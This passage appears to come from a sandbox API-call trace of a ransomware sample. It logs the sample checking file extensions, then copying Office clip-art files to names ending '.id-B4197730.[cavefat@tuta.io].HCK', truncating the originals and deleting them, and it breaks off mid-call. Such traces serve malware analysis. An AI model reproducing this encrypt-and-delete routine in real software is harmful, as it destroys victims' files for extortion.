lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString=".xls") returned 4 [0230.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.386] lstrlenW (lpString=".xlsx") returned 5 [0230.386] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0230.386] lstrlenW (lpString=".ppt") returned 4 [0230.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".zip") returned 4 [0230.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.386] lstrlenW (lpString=".rar") returned 4 [0230.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString=".bz2") returned 4 [0230.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.386] lstrlenW (lpString=".7z") returned 3 [0230.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.386] lstrlenW (lpString=".dbf") returned 4 [0230.387] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.387] lstrlenW (lpString=".1cd") returned 4 [0230.387] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0230.387] lstrlenW (lpString=".jpg") returned 4 [0230.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.387] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.387] lstrlenW (lpString="J0105238.WMF") returned 12 [0230.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.387] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=17172) returned 1 [0230.387] CloseHandle (hObject=0x544) returned 1 [0230.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 0x220 [0230.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.388] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.388] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0230.389] GetLastError () returned 0x0 [0230.389] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4314, lpOverlapped=0x0) returned 1 [0230.390] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4320, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4320, lpOverlapped=0x0) returned 1 [0230.391] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.391] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.391] SetEndOfFile (hFile=0x49c) returned 1 [0230.391] CloseHandle (hObject=0x49c) returned 1 [0230.392] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.392] SetEndOfFile (hFile=0x544) returned 1 [0230.393] CloseHandle (hObject=0x544) returned 1 [0230.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105238.wmf")) returned 1 [0230.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.394] lstrlenW (lpString=".doc") returned 4 [0230.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.394] lstrlenW (lpString=".docx") returned 5 [0230.394] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0230.394] lstrlenW (lpString=".pdf") returned 4 [0230.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.394] lstrlenW (lpString=".xls") returned 4 [0230.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.394] lstrlenW (lpString=".xlsx") returned 5 [0230.394] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0230.395] lstrlenW (lpString=".ppt") returned 4 [0230.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString=".zip") returned 4 [0230.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.395] lstrlenW (lpString=".rar") returned 4 [0230.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString=".bz2") returned 4 [0230.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString=".7z") returned 3 [0230.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString=".dbf") returned 4 [0230.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString=".1cd") returned 4 [0230.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString=".jpg") returned 4 [0230.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString=".doc") returned 4 [0230.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString=".docx") returned 5 [0230.395] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0230.395] lstrlenW (lpString=".pdf") returned 4 [0230.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString=".xls") returned 4 [0230.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0230.395] lstrlenW (lpString=".xlsx") returned 5 [0230.395] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0230.395] lstrlenW (lpString=".ppt") returned 4 [0230.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.395] lstrlenW (lpString=".zip") returned 4 [0230.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0230.395] lstrlenW (lpString=".rar") returned 4 [0230.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString=".bz2") returned 4 [0230.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0230.395] lstrlenW (lpString=".7z") returned 3 [0230.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0230.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.396] lstrlenW (lpString=".dbf") returned 4 [0230.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0230.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.396] lstrlenW (lpString=".1cd") returned 4 [0230.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0230.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0230.396] lstrlenW (lpString=".jpg") returned 4 [0230.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0230.396] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0230.396] lstrlenW (lpString="J0105240.WMF") returned 12 [0230.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.396] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=11532) returned 1 [0230.396] CloseHandle (hObject=0x544) returned 1 [0230.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0230.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0230.397] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.397] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0230.398] GetLastError () returned 0x0 [0230.398] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0230.520] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0230.521] ReadFile (in: hFile=0x544, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.521] WriteFile (in: hFile=0x49c, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.521] SetEndOfFile (hFile=0x49c) returned 1 [0230.561] CloseHandle (hObject=0x49c) returned 1 [0230.561] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.561] SetEndOfFile (hFile=0x544) returned 1 [0230.563] CloseHandle (hObject=0x544) returned 1 [0230.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0231.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.010] lstrlenW (lpString=".doc") returned 4 [0231.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.010] lstrlenW (lpString=".docx") returned 5 [0231.010] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.010] lstrlenW (lpString=".pdf") returned 4 [0231.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.010] lstrlenW (lpString=".xls") returned 4 [0231.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.010] lstrlenW (lpString=".xlsx") returned 5 [0231.010] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.010] lstrlenW (lpString=".ppt") returned 4 [0231.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.010] lstrlenW (lpString=".zip") returned 4 [0231.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.010] lstrlenW (lpString=".rar") returned 4 [0231.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.010] lstrlenW (lpString=".bz2") returned 4 [0231.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.010] lstrlenW (lpString=".7z") returned 3 [0231.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".dbf") returned 4 [0231.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".1cd") returned 4 [0231.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".jpg") returned 4 [0231.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".doc") returned 4 [0231.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString=".docx") returned 5 [0231.011] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0231.011] lstrlenW (lpString=".pdf") returned 4 [0231.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString=".xls") returned 4 [0231.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.011] lstrlenW (lpString=".xlsx") returned 5 [0231.011] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0231.011] lstrlenW (lpString=".ppt") returned 4 [0231.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".zip") returned 4 [0231.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.011] lstrlenW (lpString=".rar") returned 4 [0231.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString=".bz2") returned 4 [0231.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString=".7z") returned 3 [0231.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".dbf") returned 4 [0231.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".1cd") returned 4 [0231.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0231.011] lstrlenW (lpString=".jpg") returned 4 [0231.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.011] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0231.011] lstrlenW (lpString="J0105272.WMF") returned 12 [0231.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.012] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=17728) returned 1 [0231.012] CloseHandle (hObject=0x4b0) returned 1 [0231.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0231.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0231.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0231.013] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.013] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0231.014] GetLastError () returned 0x0 [0231.014] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x4540, lpOverlapped=0x0) returned 1 [0231.016] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0x4550, lpOverlapped=0x0) returned 1 [0231.018] ReadFile (in: hFile=0x4b0, lpBuffer=0x3cf4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0231.018] WriteFile (in: hFile=0x4b4, lpBuffer=0x3cf4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cf4020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0231.019] SetEndOfFile (hFile=0x4b4) returned 1 [0231.019] CloseHandle (hObject=0x4b4) returned 1 [0231.019] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0231.019] SetEndOfFile (hFile=0x4b0) returned 1 [0231.021] CloseHandle (hObject=0x4b0) returned 1 [0231.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0231.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0231.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.022] lstrlenW (lpString=".doc") returned 4 [0231.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.022] lstrlenW (lpString=".docx") returned 5 [0231.022] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.022] lstrlenW (lpString=".pdf") returned 4 [0231.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".xls") returned 4 [0231.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.023] lstrlenW (lpString=".xlsx") returned 5 [0231.023] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.023] lstrlenW (lpString=".ppt") returned 4 [0231.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".zip") returned 4 [0231.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0231.023] lstrlenW (lpString=".rar") returned 4 [0231.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".bz2") returned 4 [0231.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".7z") returned 3 [0231.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".dbf") returned 4 [0231.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".1cd") returned 4 [0231.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".jpg") returned 4 [0231.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".doc") returned 4 [0231.023] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".docx") returned 5 [0231.023] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0231.023] lstrlenW (lpString=".pdf") returned 4 [0231.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString=".xls") returned 4 [0231.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0231.023] lstrlenW (lpString=".xlsx") returned 5 [0231.023] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0231.023] lstrlenW (lpString=".ppt") returned 4 [0231.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0231.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0231.023] lstrlenW (lpString=".zip") returned 4 [0231.023] lstrcmpiW 